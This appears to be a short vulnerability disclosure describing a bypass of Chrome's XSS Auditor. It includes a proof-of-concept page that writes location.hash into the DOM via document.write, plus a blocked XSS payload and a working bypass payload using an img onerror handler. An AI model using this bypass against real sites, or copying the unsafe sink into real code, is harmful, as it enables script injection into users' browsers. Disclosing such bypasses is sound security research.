Description
Google chrome XSS auditor was found prone to a bypass when the user input
passed though location.hash was being written to the DOM by using
document.write property. Normally, XSS auditor checks XSS by comparing the
request and response however, it also checks for request itself, if it
contains an untrusted input to prevent DOM XSS as well.
Proof Of concept:
Consider the following code:
<html>
<body>
<script type="text/javascript">
document.write(location.hash);
</script>
</body>
</html>
This takes input from location.hash property and writes it to the DOM. We
initially inject the following payload:
#<img src=x onerror=prompt(1)>. The request is blocked and the following
error is returned:
"
The XSS Auditor refused to execute a script in 'attacker.com#><img src=x
onerror=prompt(1)>' because its source code was found within the request.
The auditor was enabled as the server sent neither an 'X-XSS-Protection'
nor 'Content-Security-Policy' header."
However, the following vector passes by:
#<img src=x onerror=prompt(1)//
The following is how its reflected inside of DOM:
<img src="x" onerror="prompt(1)//" <="" body="">
